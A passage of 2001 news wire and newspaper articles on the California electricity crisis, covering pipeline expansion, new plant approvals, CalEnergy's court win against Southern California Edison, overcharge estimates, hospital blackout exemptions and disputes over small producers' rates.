      and is
      scheduled for completion in May 2003, said Kirk Morgan, director of
      business
      development for Kern River pipeline.
      "Shippers are seeking more access to natural gas from the Rocky
      Mountain basin,
      where producers are aggressively stepping up production," Morgan
      said.
      The new pipeline is expected to deliver about 900 million cubic feet
      of natural
      gas per day to markets in Utah, Nevada and California.
      Most of the gas will be used for generating plants planned in
      California. If all
      of the pipeline's capacity were used to generate electricity, it
      could produce
      about 5,400 megawatts. "That is enough to light around 4.5 million
      homes,"
      Morgan said.
      The original Kern River line was completed in 1992. It enters Utah
      from Wyoming
      then crosses into the Salt Lake Valley near Bountiful. It turns south
      near the
      Salt Lake City International Airport then runs the length of the
      state before
      passing into southern Nevada and winding up near Bakersfield, Calif.
      It currently transports 700 million cubic feet of natural gas per
      day. Williams,
      based in Tulsa, Okla., recently filed an emergency application with
      federal
      regulators to install additional pumping stations on the line to
      increase its
      capacity by 135 million cubic feet per day. That $81 million pumping
      station
      project should be completed by July 1.
      During the 2002 construction period, the Kern River project will
      employ between
      1,500 and 1,800 people. The company estimates annual property taxes
      it pays to
      Utah counties will increase from $3.5 million to about $7 million.
      Questar will be one of the customers on the new pipeline, Morgan
      said.
      The utility wants to supply additional gas to southern Utah cities,
      including
      St. George and Cedar City.
      "Our own pipelines serving southern Utah are at full capacity so this
      is an
      opportunity to transport additional gas into those areas from
      company-owned
      supplies in Wyoming," said Questar Gas spokeswoman Audra Sorensen.

      Calif Energy Commission OKs 3 Pwr Plants Worth 2,076 MW
      Dow Jones Energy Service
      (Copyright (c) 2001, Dow Jones & Company, Inc.)

      (This article was originally published Thursday)

      LOS ANGELES -(Dow Jones)- The California Energy Commission Wednesday
      approved
      three power plants worth 2,076 megawatts, two of which are scheduled
      to come on
      line by the end of 2002, a CEC spokesman said Thursday.

      The plants approved include BP Amoco PLC (BP) unit ARCO Western
      Energy's 500
      megawatt Western Midway Sunset Project, slated to come on line in
      October 2002;
      Caithness Energy's 520 MW Blythe Power Plant, to come on line by Dec.
      31, 2002;
      and Thermo Ecotek's 1,056 MW Mountainview Power Plant, scheduled to
      come on line
      in April 2003.
      All three of the new plants will be natural gas-fired combined-cycle
      plants.
      The $550 million Mountainview plant will be located in Southern
      California, near
      San Bernadino. The $300 million Western Midway-Sunset plant will be
      located in
      central Kern County, while the $250 million Blythe plant will be
      located in the
      city of Blythe in Riverside County.
      The latest approvals bring to 13 the total number of plants approved
      since April
      1999 by the CEC, a spokesman said. Those plants will supply 8,405 MW
      to the
      state, which has seen rolling blackouts and spiking wholesale power
      prices in
      the last six months, in part due to lack of supply.
      -By Jessica Berthold, Dow Jones Newswires; 323-658-3872;
      jessica.berthold@dowjones.com

      Some CalEnergy Power Could Be Sold Outside Calif - CEO

      LOS ANGELES -(Dow Jones)- Some of CalEnergy Operating Corp's power
      could end up
      being sold outside of California, though that is not the company's
      intent,
      CalEnergy Chairman and CEO David Sokol said in a conference call
      Thursday.

      CalEnergy, an affiliate of MidAmerican Energy Holdings Co, which is
      majority
      owned by Warren Buffett's Berkshire-Hathaway (BRKA), was given legal
      authority
      Thursday to suspend 270 megawatts of power delivery to Edison
      International
      (EIX) utility Southern California Edison and sell on the open market,
      because
      SoCal Edison has not paid its bills since November.
      CalEnergy stopped supplying power to SoCal Ed immediately following
      the court
      ruling.
      "We stopped supplying power at 1 PM (PST) and have been selling to
      parties that
      will pay since then....We are selling it to marketers; our current
      marketing
      agent is El Paso Corp (EPG) and they will sell it for us," Sokol
      said.
      Sokol added that while it was his company's intention to have its
      power sold to
      California, that could not be guaranteed.
      "We leave the energy selling to El Paso....We've directed them that
      we would
      like the power to stay in California but we can't stop them," from
      selling out
      of state, Sokol said.
      Wholesale prices on the open market are about $400-$500 a
      megawatt-hour, three
      times more than what the company had received under its contract with
      SoCal Ed.
      The court's ruling did not address the $45 million SoCal Ed still
      owes CalEnergy
      for November and December power, and Sokol said that his company's
      separate
      lawsuit on that matter sought to attach the utility's assets as
      payment for that
      debt.
      Sokol said the court's ruling had "significant implications" for the
      entire
      community of small, independent generators, known as qualifying
      facilities or
      QFs, who have not received payment from SoCal Ed.
      "Edison's own lawyer said it best....that every QF in the state will
      begin to
      mitigate if the judge allowed us (to sell on the open market)," Sokol
      said.
      Sokol said his company was prepared to push SoCal Ed into involuntary
      bankruptcy
      Friday if CalEnergy hadn't won the case, but said he couldn't
      speculate whether
      other QFs may be more or less inclined to do so as a result of the
      court
      outcome.
      A group of renewable power suppliers, owed more than $100 million
      from SoCal Ed,
      said late Wednesday they want state lawmakers to release them for
      their supply
      contracts with PG&E Corp. (PCG) unit Pacific Gas & Electric and SoCal
      Ed until
      the utilities are restored to financial stability.
      The utilities claim close to $13 billion in undercollections due to
      an inability
      to pass high wholesale power costs to customers under a rate freeze.
      In a statement, SoCal Ed said it opposed CalEnergy's bid to suspend
      its QF
      contract because the utility believed Gov. Gray Davis and state
      regulators are
      close to resolving "very legitimate financial concerns of CalEnergy
      and other QF
      suppliers."
      SoCal Ed said it was concerned that CalEnergy's request to sell to
      third parties
      would lead to a major supply shortage in California.
      The utility said it has informed the QFs that it is working to
      resolve the issue
      without giving unfair advantage to one class of creditors.
      While many of the state's large power suppliers have been paid by on
      a forward
      basis for the power they sell into California, the QFs, which make up
      one-third
      of the state's total power supply, haven't been paid by SoCal Ed
      since November.
      PG&E has made partial payments to its QFs.
      -By Jessica Berthold, Dow Jones Newswires; 323-658-3872,
      (Jason Leopold contributed to this article.)

      California and the West Judge Frees Small Firm From Edison Contract
      KEN ELLINGWOOD; DAN MORAIN
      TIMES STAFF WRITERS
      Los Angeles Times
      Home Edition
      A-3
      Copyright 2001 / The Times Mirror Company

      El CENTRO -- California's balance of electrical power shifted
      slightly Thursday
      when an Imperial County judge temporarily freed a small geothermal
      energy
      producer from its contract with Southern California Edison, allowing
      it to sell
      power on the open market.
      The ruling by Superior Court Judge Donal B. Donnelly could lead to a
      mass exodus
      by hundreds of small energy producers that have been selling power to
      the
      state's financially troubled utilities for months without getting
      paid.

      At the same time, it may have staved off plans by a group of the
      small
      generators to send Edison into involuntary bankruptcy as early as
      today.
      In Sacramento, energy legislation pushed by Gov. Gray Davis passed in
      the state
      Senate but foundered in the Assembly. The measure was intended to
      ensure that
      the state gets repaid for the electricity that it has been buying on
      behalf of
      Edison and Pacific Gas & Electric, which say they lack the cash and
      credit to
      purchase power. The bill also was supposed to guarantee that the
      small,
      alternative energy producers--which together provide nearly a third
      of the
      state's power--get paid. But Assembly Republicans opposed it, saying
      it hadn't
      been given sufficient scrutiny.
      The impact of the small producers was made clear in Imperial County,
      where
      Edison's failure to pay CalEnergy, the county's biggest property
      taxpayer, had
      outsize implications. CalEnergy had put county officials on notice
      that it was
      about to miss a $3.8-million property tax payment. The uncertainty
      had prompted
      the tiny Calipatria Unified School District to postpone a bond issue
      for badly
      needed school repairs.
      Among CalEnergy Chairman David Sokol's first acts after the judge's
      ruling
      Thursday was to promise Imperial County Supervisor Wally J.
      Leimgruber that the
      company would pay its property taxes on time.
      "That is great news," Leimgruber said.
      Within hours of its court victory, CalEnergy had stopped transmitting
      geothermal
      power to Edison and begun selling it to El Paso Energy, a marketing
      company that
      purchased the energy at prevailing rates and resold it on the spot
      market.
      Some of the more than 700 other small energy producers in the state
      said they
      were considering similar action against Edison and Pacific Gas &
      Electric.
      "We absolutely need the right to sell to third parties," said Dean
      Vanech,
      president of Delta Power, a New Jersey company that owns five small
      gas-fired
      plants in California and is owed tens of millions of dollars by
      Edison.
      Sokol praised the Imperial County judge and said his company simply
      wanted the
      authority to sell its power "to a credit-worthy company that, in
      fact, pays for
      the power."
      An Edison spokesman said the company was disappointed with the
      ruling, but
      sympathized with CalEnergy and other small producers because
      "California's power
      crisis has placed [them] in financial distress, just as it has placed
      utilities
      in financial distress."
      Edison expressed concern that the ruling would prompt CalEnergy and
      other small
      producers to sell their power out of state. Sokol said CalEnergy had
      specifically told El Paso Energy that it hoped its power would remain
      in
      California, "but if someone wants to pay a higher price out of state,
      we can't
      stop them."
      Sokol said that Edison still owes CalEnergy $140 million and that the
      company--along with seven other small producers--had been prepared to
      file a
      petition in federal bankruptcy court in Los Angeles today forcing the
      utility
      into involuntary bankruptcy. He said his company no longer intends to
      do so, and
      he believed--but wasn't certain--that the other companies would
      shelve their
      plans.
      Edison filed papers Thursday with the federal Securities and Exchange
      Commission
      showing that it owed $840 million to various small electricity
      producers, many
      of which rely on renewable energy sources such as geothermal steam,
      solar energy
      or wind.
      The alternative energy producers--and utilities--strenuously objected
      to the
      legislation considered in Sacramento on Thursday. The bill, spelling
      out how the
      utilities are to pay the state and the small producers, passed the
      Senate on a
      27-9 vote, the exact two-thirds margin required. But it stalled in
      the Assembly
      on a 46-23 party-line vote, well short of two-thirds.
      "When I was a citizen back in Lancaster, I heard these stories about
      pieces of
      legislation that were cooked up late at night, that . . . were cut
      and pasted
      together and were rammed through by the Legislature," Assemblyman
      George Runner
      (R-Lancaster) said. "That's exactly what we have before us."
      The alternative electricity generators, including oil companies,
      warned that
      they would lose money under the Davis proposal, while representatives
      of Edison
      and PG&E, which have amassed billions in debt in the worsening energy
      crisis,
      said the legislation would push them deeper into the hole.
      "There isn't enough money," Edison attorney Ann Cohn testified at a
      Senate
      hearing on the bill Thursday. "It is a very simple question: Dollars
      going out
      cannot be greater than dollars coming in."
      The bill, AB 8X, combined several proposals. First, it sought to
      clarify earlier
      legislation by spelling out that Edison and PG&E must pay the state
      all money
      collected from consumers for electricity that the state has been
      buying.
      Additionally, the bill would turn over to the California Public
      Utilities
      Commission the thorny issue of how much to pay alternative energy
      producers for
      their electricity.
      Wind, solar and geothermal producers might agree to the prices
      offered by the
      administration. But most of the alternative energy producers,
      including Chevron
      and British Petroleum, use natural gas to generate electricity
      through
      "cogeneration," a process of creating steam for both electric
      generation and
      heat. With natural gas prices high, they contend, they would lose
      money at the
      prices Davis is offering.
      *
      Ellingwood reported from El Centro, Morain from Sacramento. Times
      staff writers
      Mitchell Landsberg in Los Angeles and Jenifer Warren, Nancy Vogel and
      Carl
      Ingram in Sacramento contributed to this story.
      (BEGIN TEXT OF INFOBOX / INFOGRAPHIC)
      Power Points
      Background
      The state Legislature approved electricity deregulation with a
      unanimous vote in
      1996. The move was expected to lower power bills in California by
      opening up the
      energy market to competition. Relatively few companies, however,
      entered that
      market to sell electricity, giving each that did considerable
      influence over the
      price. Meanwhile, demand has increased in recent years while no major
      power
      plants have been built. These factors combined last year to push up
      the
      wholesale cost of electricity. But the state's biggest
      utilities--Pacific Gas &
      Electric and Southern California Edison--are barred from increasing
      consumer
      rates. So the utilities have accumulated billions of dollars in debt
      and,
      despite help from the state, have struggled to buy enough
      electricity.
      *
      Daily Developments
      * Overcharges by major electricity suppliers were estimated at $6.3
      billion, up
      from the $5.5 billion first thought, California's power grid operator
      said.
      * Electricity producers denied that they have profiteered and argued
      that
      Cal-ISO's figures don't take into account all their costs.
      * A Superior Court judge's ruling Thursday freeing a small producer
      from its
      contract with Edison could lead to a mass exodus by small energy
      producers that
      have been selling to the utilities without getting paid.
      *
      Verbatim
      "If these guys have such high costs ... how come they're making so
      much money?"
      --Gary Stern, Edison's director of market monitoring and analysis,
      referring to
      power producers
      Complete package and updates at www.latimes.com/power

      Grid Operator Says California Paid Too Much for Power
      By Rebecca Smith and John R. Emshwiller
      Staff Reporters of The Wall Street Journal
      The Wall Street Journal
      A2

      California's electric-grid operator said power suppliers may have
      overcharged
      the state and its utilities by $6.2 billion, or a total of 30%, in a
      10-month
      period, and has asked federal regulators to step up their policing of
      electricity markets.
      Meanwhile, a California state judge handed down a decision involving
      small power
      producers that could result in more electricity being made available
      in the
      energy-starved state, but likely at greater cost to the state
      government.

      The $6.2 billion figure was contained in a market analysis by the
      Independent System Operator filed yesterday with the Federal Energy
      Commission. The ISO says it isn't seeking a refund -- for the May
      through
      February period -- because its analysis lacked important market data.
      For example, it estimated costs for 21 suppliers based on published
      prices for
      natural gas, not on specific data showing what each generator
      actually paid for
      the fuel. "We don't know how much gas actually was purchased at
      spot-market
      prices," said Anjali Sheffrin, the ISO's head of market analysis.
      Charles Robinson, general counsel for the ISO, said FERC needs to
      become "more
      aggressive about market-power mitigation." The ISO's filing, he said,
      was
      intended to push the agency in that direction, since FERC is
      responsible for
      policing deregulated electricity and natural-gas markets.
      He said that if the FERC doesn't act, the state of California may
      find ways to
      discipline the market, such as through the state attorney general's
      office. The
      attorney general has been investigating the state's electricity
      market for many
      months but hasn't brought any court action.
      Dynegy Inc., a big owner of power plants in California, said it will
      provide
      additional information to FERC supporting its position that the
      prices it has
      charged for power have been "just and reasonable." The Houston
      company was one
      of 13 energy suppliers that the FERC this month ordered to pay
      refunds totaling
      $124 million or "show cause" why it should be excused. Dynegy said
      the FERC
      analysis was flawed, because it used "inaccurate" prices for natural
      gas and
      pollution credits.
      While big power producers such as Dynegy came under attack, small
      power
      producers won a potentially significant victory in a state court in
      Southern
      California's Imperial County. A judge granted 10 geothermal plants
      operated by
      the CalEnergy Co. unit of MidAmerican Energy Holdings Co., a unit of
      Berkshire
      Hathaway Inc., of Omaha, Neb., permission to suspend deliveries of
      to Southern California Edison Co. and instead seek other buyers.
      These plants, known as "qualifying facilities," are under long-term
      contract to
      Edison and other utilities but haven't been paid for months. Edison,
      a unit of
      Edison International, of Rosemead, Calif., says it has been unable to
      pay
      hundreds of millions of dollars in power bills to CalEnergy and
      others because
      it has been driven to the brink of insolvency by the state's failed
      utility-deregulation plan.
      While the CalEnergy case involves only about 320 megawatts of power,
      the
      repercussions could be far greater. Collectively, hundreds of
      qualifying
      facilities, or QFs, produce as much as 30% of California's
      electricity needs.
      QFs totaling 3,000 megawatts cut their production in recent weeks for
      lack of
      payment. This loss of output was a significant cause of the blackouts
      that hit
      California this week.
      Observers believe the CalEnergy court decision could give other QFs
      an
      opportunity to sell power in the open market, presumably to the state
      government
      that now is California's biggest energy buyer. An hour after the
      court decision
      yesterday, some 400 megawatts of power came back into the market, the
      ISO said.
      However, additional QF power sales on the open market could
      substantially
      increase the state's tab. Already, the state has allocated more than
      $4 billion
      for electricity purchases.
      Separately, Edison said in a Securities and Exchange Commission
      filing that its
      unpaid power bills could contribute to a write-off of as much as $2.7
      billion
      for 2000. Because of uncertainty caused by the energy crisis, the
      company hasn't
      yet reported year-end earnings.

      Power regulators debate who should be exempted from blackouts
      By KAREN GAUDETTE
      Associated Press Writer
      03/22/2001

      SAN FRANCISCO (AP) - State power regulators said Thursday they are
      working to
      exempt all California hospitals, regardless of size, from rolling
      blackouts.
      The Public Utilities Commission met with representatives from
      hospitals and
      investor-owned utilities after Los Angeles lawyer David Huard filed
      an emergency
      motion with the PUC on behalf of more than 500 hospitals throughout
      the state.

      Under PUC rules, hospitals with more than 100 beds are exempt from
      losing
      electricity during power emergencies. But during rolling blackouts
      Monday, at
      least a dozen hospitals from Long Beach to Clearlake were forced to
      use their
      backup generators.
      Pacific Gas and Electric Co. and Southern California Edison Co. say
      they blacked
      out those hospitals specifically because they have backup generators.
      Both
      utilities said the temporary blackouts were part of their overall
      efforts to
      spread the burden of blackouts over more of their customers.
      Linda Ziegler, director of business and regulatory planning for SoCal
      Edison,
      said the utility is following state law and will implement new
      guidelines if the
      PUC changes them.
      But hospitals say there is a 10-second lapse before emergency
      generators kick
      in, which could harm patients in the midst of delicate surgical
      procedures such
      as organ transplants or brain surgery.
      "You wouldn't fly a plane with only your emergency backup systems in
      place,"
      said Ann Mosher, a spokeswoman for California Pacific Medical Center
      in San
      Francisco. "Backup generators are just that, they're not designed to
      keep the
      hospital up and running at full capacity."
      Ziegler said that power still goes out for reasons beyond the energy
      crisis,
      from incidents like lightning or a knocked-down power pole.
      "If it's a serious problem for the hospital it's certainly something
      they should
      be address just from an ongoing basis," she said.
      The exemption would cover all hospitals within the territory of the
      state's
      investor owned utilities PG&E, Southern California Edison and San
      Diego Gas and
      Electric.
      Hospitals within the range of municipally owned utilities, such as
      the Los
      Angeles Department of Water and Power, are separately regulated.
      For more than two decades, prisons, hospitals with more than 100 beds
      and
      emergency services such as fire and police departments have been
      classified as
      "essential" services, and are exempted from blackouts by order of
      state power
      regulators.
      After rolling blackouts began darkening the state in January, many
      other public
      service groups began seeking relief from power interruptions,
      including transit
      systems, schools and water districts.
      ---
      On the Net:
      http://www.cpuc.ca.gov

      Federal Judge Orders Reliant To Keep Selling Pwr To Calif

      SACRAMENTO, Calif. (AP)--A federal judge issued a preliminary
      injunction
      Wednesday ordering a major electricity wholesaler to continue selling
      to
      California despite its fear that it will not get paid.
      U.S. District Judge Frank C. Damrell Jr. said Californians were at
      risk of
      irreparable harm if Reliant Energy (REI) stopped selling power to the
      Independent System Operator, which oversees the state's power grid.
      The ISO buys
      last-minute power on behalf of utilities to fill gaps in supply.

      Damrell dismissed Reliant's attempt to force the state Department of
      Water
      Resources to back the ISO's purchases for the state's two biggest
      utilities. The
      state has been spending about $50 million a day on power for Pacific
      Gas and
      Electric Co. and Southern California Edison, both denied credit by
      suppliers
      after amassing billions of dollars in debts.
      The judge said he had no authority to force the DWR to pay for that
      power.
      Gov. Gray Davis has said the state isn't responsible for purchasing
      the costly
      last-minute power ISO buys for Edison and PG&E, despite a law
      authorizing state
      power purchases on the utilities' behalf.
      ISO attorney Charles Robinson said the ruling gives ISO operators "a
      tool to
      assist them in keeping the lights on in California."
      "Had the decision gone the other way, one could expect other
      generators to
      simply ignore emergency orders," Robinson said.
      Damrell's preliminary injunction will remain in effect until the
      Federal Energy
      Regulatory Commission rules on the matter.
      Damrell denied the ISO's request for preliminary injunctions against
      three other
      wholesalers - Dynegy Inc. (DYN), AES Corp. (AES) and Williams Cos.
      (WMB) - which
      agreed to continue selling to the ISO pending the FERC ruling.
      Spokesmen for Reliant, Dynegy, AES and Williams were out of the
      office Wednesday
      night and didn't immediately return calls from The Associated Press
      seeking
      comment on the ruling.
      The ISO went to court in February after a federal emergency order
      requiring the
      power sales expired. The judge then issued a temporary restraining
      order,
      requiring the sales, but dropped it after the suppliers agreed to
      continue sales
      to California pending his Wednesday ruling.
      The ISO said it would lose about 3,600 megawatts if the suppliers
      pulled out,
      enough power for about 2.7 million households. One megawatt is enough
      for
      roughly 750 homes.
      Grid officials said Reliant's share alone is about 3,000 megawatts.
      Reliant said
      the amount at issue actually is less than a fourth of that, because
      most of its
      output is already committed under long-term contracts.
      Reliant, which currently provides about 9% of the state's power,
      worries it
      won't get paid due to the financial troubles of PG&E and Edison. PG&E
      and Edison
      say that together they have lost about $13 billion since June due to
      soaring
      wholesale electricity costs that California's 1996 deregulation law
      bars them
      from passing onto customers.

      Calif Small Pwr Producers To Shut Plants If Rates Capped
      By Jason Leopold
      Of DOW JONES NEWSWIRES

      LOS ANGELES -(Dow Jones)- Many of California's independent power
      producers late
      Wednesday threatened to take their small power plants offline this
      week if state
      lawmakers pass legislation that would cap the rates the generators
      charge for
      electricity they sell directly to the state's three investor-owned
      utilities.
      At issue is a bill that would repeal a section of the state's Public
      Utilities
      Code, which links the 688 so-called qualifying facilities'
      electricity rates to
      the monthly border price of natural gas.

      Lawmakers, however, are poised to pass the legislation.
      State regulators are then expected to approve a measure that would
      restructure
      the fluctuating rates the QFs charge PG&E Corp. (PCG) unit Pacific
      Gas &
      Electric, Edison International (EIX) unit Southern California Edison,
      and Sempra
      Energy (SRE) unit San Diego Gas & Electric from $170 a megawatt-hour
      to
      $69-$79/MWh, regardless of the price of natural gas.
      Whereas each of the 688 QF contracts differed, largely because
      prices are higher in Southern California than Northern California,
      the state
      wants the QFs to sign a general contract with the utilities.
      The cogeneration facilities, which produce about 5,400 megawatts of
      in the state, said the rates are too low and they won't sign new
      supply
      contracts with the utilities.
      "For $79/MWh, natural gas would have to be $6 per million British
      thermal unit
      at
 the Southern California border," said Tom Lu, executive director
      of
      Carson-based Watson Cogeneration Company, the state's largest QF,
      generating 340
      MW. "Our current gas price at the border is $12.50."
      Other gas-fired QFs said the state could face another round of
      rolling blackouts
      if lawmakers and state regulators pass the legislation, which is
      expected to be
      heard on the Senate floor Thursday, and allow it to be implemented by
      Public
      Utilities Commission next week.
      Lu, whose company is half-owned by BP Amoco PLC (BP) and is owed $100
      million by
      SoCal Ed, said the proposals by the PUC and the Legislature "will
      only make
      things worse."
      David Fogarty, spokesman for Western States Petroleum Association,
      whose members
      supply California with more than 2,000 MW, said the utilities need to
      pay the
      QFs more than $1 billion for electricity that was already produced.
      State Loses 3,000 MW QF Output Due Of Financial Reasons

      The QFs represent about one-third, or 9,700 MW, of the state's total
      power
      supply. Roughly 5,400 MW are produced by natural gas-fired
      facilities. The rest
      is generated by wind, solar power and biomass.
      About 3,000 MW of gas-fired and renewable QF generation is offline in
      because the power plant owners haven't been paid hundreds of millions
      of dollars
      from cash-strapped utilities SoCal Ed and PG&E for nearly four
      months.
      Several small power plant owners owed money by SoCal Ed have
      threatened to drag
      the utility into involuntary bankruptcy if the utility continues to
      default on
      payments and fails to agree to supply contracts at higher rates.
      The defaults have left many of the renewable and gas-fired QFs unable
      to operate
      their power plants because they can't afford to pay for the natural
      gas to run
      their units. Others continue to produce electricity under their
      contracts with
      the state's utilities but aren't being paid even on a forward basis.
      The California Independent System Operator, keeper of the state's
      grid, said the loss of the QF generation was the primary reason
      rolling
      blackouts swept through the state Monday and Tuesday.
      Gov. Gray Davis, recognizing the potential disaster if additional QFs
      took their
      units offline, held marathon meetings with key lawmakers Monday and
      Tuesday to
      try and hammer out an agreement that would get the QFs paid on a
      forward basis
      and set rates of $79/MWh and $69/MWh for five and 10 year contracts.
      He also
      said he would direct the PUC to order the utilities to pay the QFs
      for power
      they sell going forward.
      "After next week the QF problem will be behind us," Davis said
      Tuesday. "We want
      to get the QFs paid...the QFs are dropping like flies...and when that
      happens
      the lights go out."
      But this just makes the problem worse, said Assemblyman Dean Florez,
      D-Shafter,
      a member of the Assembly energy committee.
      "I don't know how we are going to keep the lights on," Florez said in
      an
      interview. "Many of these congenerators are in my district. They said
      if the
      legislation doesn't change they are going offline. This compounds the
      issue of
      rolling blackouts, especially now when we need every megawatt."
      Davis, who didn't meet with people representing the QFs, said he was
      handing the
      QF issue to the PUC because lawmakers failed to pass legislation that
      would have
      set a five-year price for natural gas and allow the QFs to sign
      individual
      contracts with the utilities. In addition, SOCal Ed opposed the
      legislation,
      saying the rates should be below $50/MWh.
      Some renewable power producers said they aren't vehemently opposed to
      the new
      rate structure because it guarantees them a higher rate than what was
      originally
      proposed.
      QFs Want Third Party Supply Contracts

      John Wood, who represents the SoCal Ed Gas Fired Creditors Committee,
      one of a
      handful of groups that have formed since January to explore options
      on getting
      paid by the utilities, said his group of gas-fired QF creditors want
      to be
      released from their supply contracts and sell to third parties.
      "Under our plan, we would be permitted to sell electricity to third
      parties
      (including the state Department of Water Resources) until a
      resolution to the
      crisis can be accomplished," wood said.
      Hal Dittmer, president of Sacramento-based Wellhead Electric in
      Sacramento,
      which is owed $8 million by PG&E, has 85 MW of gas-fired generation
      units
      offline.
      Under the state's plan, Dittmer said he risks going out of business.
      "I can't buy natural gas for what I would be paid under this
      decision," he said.
      "The state needs to quit kidding themselves that they don't need to
      raise
      electricity rates. All of this is being driven by an artificial
      construct that
      California can avoid raising rates."

      -By Jason Leopold, Dow Jones Newswires; 323-658-3874;
      jason.leopold@dowjones.com

      Power Strain Eases but Concerns Mount Energy: Officials say summer
      prices will be high, and a state report shows that contracts with
      generators are far short of goals.
      DAN MORAIN; JENIFER WARREN
      A-3

      SACRAMENTO -- California's fragile electricity system stabilized
      Wednesday, but
      a Davis administration report suggested troubles ahead because the
      state could
      be forced to buy most of its power for the coming summer on the
      costly and
      volatile spot market.
      After two days of statewide blackouts, power plants that had been
      shut down were
      cranked up. Unseasonable heat tapered off. The operators of the
      statewide power
      grid relaxed their state of emergency.

      But plenty of ominous signs remained. Many small producers remained
      shut down,
      skeptical about Gov. Gray Davis' plan for utilities to pay them.
      State Controller Kathleen Connell issued a sharp warning about the
      high cost of
      the state's foray into the power business and announced that she will
      block an
      administration request that she transfer $5.6 billion into an account
      that could
      be tapped to pay for state purchases of electricity.
      And a report from the administration summarizing contracts between
      Davis and
      independent power generators showed that the state has signed
      contracts for only
      2,247 megawatts of electricity, significantly less than the 6,000 to
      7,000
      megawatts previously claimed.
      While there are agreements in principle for the full amount, the
      report notes
      that generators can back out of the contracts for a variety of
      reasons,
      including the state's failure to sell bonds to finance power
      purchased by July
      1. The Legislature has approved plans to sell $10 billion in bonds,
      but none
      have yet been issued.
      "We are exposed enormously this summer," Senate Energy Committee
      chairwoman
      Debra Bowen (D-Marina del Rey) said after looking at the report. "We
      owe the
      people the truth about how difficult this summer is going to be. We
      don't have a
      power fairy."
      Perhaps most significant, the report suggests that the contracts fall
      significantly short of Davis' stated goal of buying no more than 5%
      of the
      state's summer needs on the spot electricity market, where prices can
      be many
      times those of long-term contracts.
      After reading the report, Frank Wolak, a Stanford University
      economist who
      studies the California electricity market, said the numbers suggested
      that the
      state's long-term contracts will cover less than half of what the
      state will
      need this summer.
      "We're definitely short this summer, next summer and the summer of
      2003," he
      said.
      California was forced to start buying electricity in December--at a
      cost of $50
      million a day--because producers refused to sell to Southern
      California Edison
      and Pacific Gas & Electric. The two utilities amassed billions of
      dollars in
      debt when prices for wholesale power soared on the spot market.
      Vikram Budhraja, a consultant retained by Davis to negotiate deals
      with
      generators, said the report represents a "work in progress." He said
      the state
      may yet sign new contracts.
      However, Wolak said the contract figures confirm what he and others
      have been
      dreading: that summer is going to be rife with rolling blackouts
      unless serious
      steps to cut demand are taken immediately.
      Wolak and other experts say large industrial customers must be
      switched to
      real-time meters and pricing to persuade them to use the bulk of
      their energy at
      times of low demand.
      The head of the Energy Foundation, a San Francisco-based nonprofit
      that promotes
      sustainable sources of power, made the same proposal to Davis on
      Wednesday.
      "The government need not ask customers to swelter in the dark this
      summer,"
      foundation President Hal Harvey argued in a letter.
      He also proposed a crash campaign to boost sales of efficient
      appliances and
      lightbulbs. He said the state needs to take over the utilities'
      alternative energy providers to ensure they stay in business, and
      sign new
      contracts for 1,500 megawatts of new wind power--the cheapest,
      fastest and
      cleanest source of new supply.
      Davis had proposed a formula Tuesday to force private utilities to
      pay the
      alternative producers, some of which have not been paid since
      November. But some
      of them warned Wednesday that Davis' plan offers them little
      incentive to turn
      on their generators.
      Alternative energy producers supply more than a quarter of the
      consumed in California.
      Many producers generate electricity from wind, sun and geothermal
      sources. But
      most of them generate power using natural gas--and the cost of
      natural gas has
      been soaring. Several natural gas users said Davis' plan, which caps
      rates,
      won't cover their fuel costs.
      Davis assumes that the price of natural gas will fall. But small
      generators say
      they don't have sufficient purchasing power or sophistication to
      gamble on
      future prices.
      The Public Utilities Commission is expected to approve Davis'
      proposal next
      week. It offers producers two choices: 7.9 cents a kilowatt-hour if
      they agree
      to supply power for five years, or 6.9 cents a kilowatt-hour over 10
      years.
      "The price of natural gas is higher than that," said Marty Quinn,
      executive vice
      president and chief operating officer of Ridgewood Power LLC, which
      owns three
      natural gas-fired co-generation plants. "If we operate, we'll lose
      money."
      Ridgewood is not operating, having been cut off by gas suppliers. The
      company
      sued PG&E last month seeking overdue payments and release from its
      contracts
      with the utility.
      A hearing is scheduled in El Centro today in another lawsuit filed by
      a small
      energy producer, an Imperial Valley geothermal producer that sued
      Edison for
      refusing to let it break its contract and sell on the open market.
      CalEnergy
      says Edison owes it about $140 million for energy sold since
      November.
      A company spokesman, Jay Lawrence, said CalEnergy was going ahead
      with its suit
      despite Davis' proposal. "We've had promises before," he said.
      In other developments:
      * A federal judge in Sacramento on Wednesday ordered Reliant Energy
      of Houston,
      a major producer, to continue selling power to California during
      emergencies,
      despite the company's argument that it may not be fully reimbursed.
      The order
      will remain in effect for 60 days or until the U.S. Federal Energy
      Commission decides a related case.
      * Connell said the state budget surplus has shrunk to $3.2 billion
      because the
      state has spent roughly $2.8 billion on electricity. She criticized
      the
      administration for withholding basic information about state
      finances, and said
      she will begin an audit on Monday of the Department of Water
      Resources, which is
      responsible for purchasing power.
      Davis' aides said Connell took her action because the Democratic
      governor
      endorsed one of Connell's foes this week in the race for Los Angeles
      mayor,
      former Assembly Speaker Antonio Villaraigosa. A Connell aide scoffed
      at the
      notion.
      * Sen. Dianne Feinstein (D-Calif.) said she "never has had a
      response" from
      President Bush after writing him last month for an appointment to
      discuss the
      California energy crisis.
      In a wide-ranging lunch talk with reporters in Washington, she
      deplored the fact
      that "huge, huge profits are being made" in the California crisis,
      and said "an
      appropriate federal role" would be to guarantee a reliable source of
      power until
      the state can get nine new generators online.
      *
      Times staff writers Mitchell Landsberg in Los Angeles and Robert L.
      Jackson in
      Washington contributed to this report.
      * Wholesale electricity suppliers overcharged by about $5.5 billion
      between May
      and last month, and that money should be refunded to taxpayers and
      utilities,
      according to a Cal-ISO report.
      * The state may have to buy most of its power for summer on the
      costly spot
      market, which could drive consumers' bills up, a Davis administration
      report
      concludes.
      * State Controller Kathleen Connell said she will block a request by
      the Davis
      administration for $5.6 billion for state purchases of electricity.
      Verbatim
      "We owe the people the truth about how difficult this summer is going
      to be. We
      don't have a power fairy."
      Debra Bowen (D-Marina del Rey), Senate Energy Committee chairwoman

      CPUC Must Address Rates In QF Repayment Order - SoCal Ed
      03/21/2001

      LOS ANGELES -(Dow Jones)- Any order from the California Public
      Utilities
      Commission requiring utilities to pay small, independent generators
      going
      forward must determine how that could be done within the existing
      rate
      structure, a spokesman for Edison International (EIX) utility
      Southern
      California Edison said Wednesday.
      The utility was responding to a PUC proposed decision that would
      require
      utilities to pay small generators, called qualifying facilities, $79
      a megawatt
      hour within 15 days of electricity delivery. The decision will be
      voted March 27
      by the CPUC.

      "We're still reviewing (the decision) and should have more to say in
      a day or
      two. To the extent that the commission orders us to pay going forward
      of course
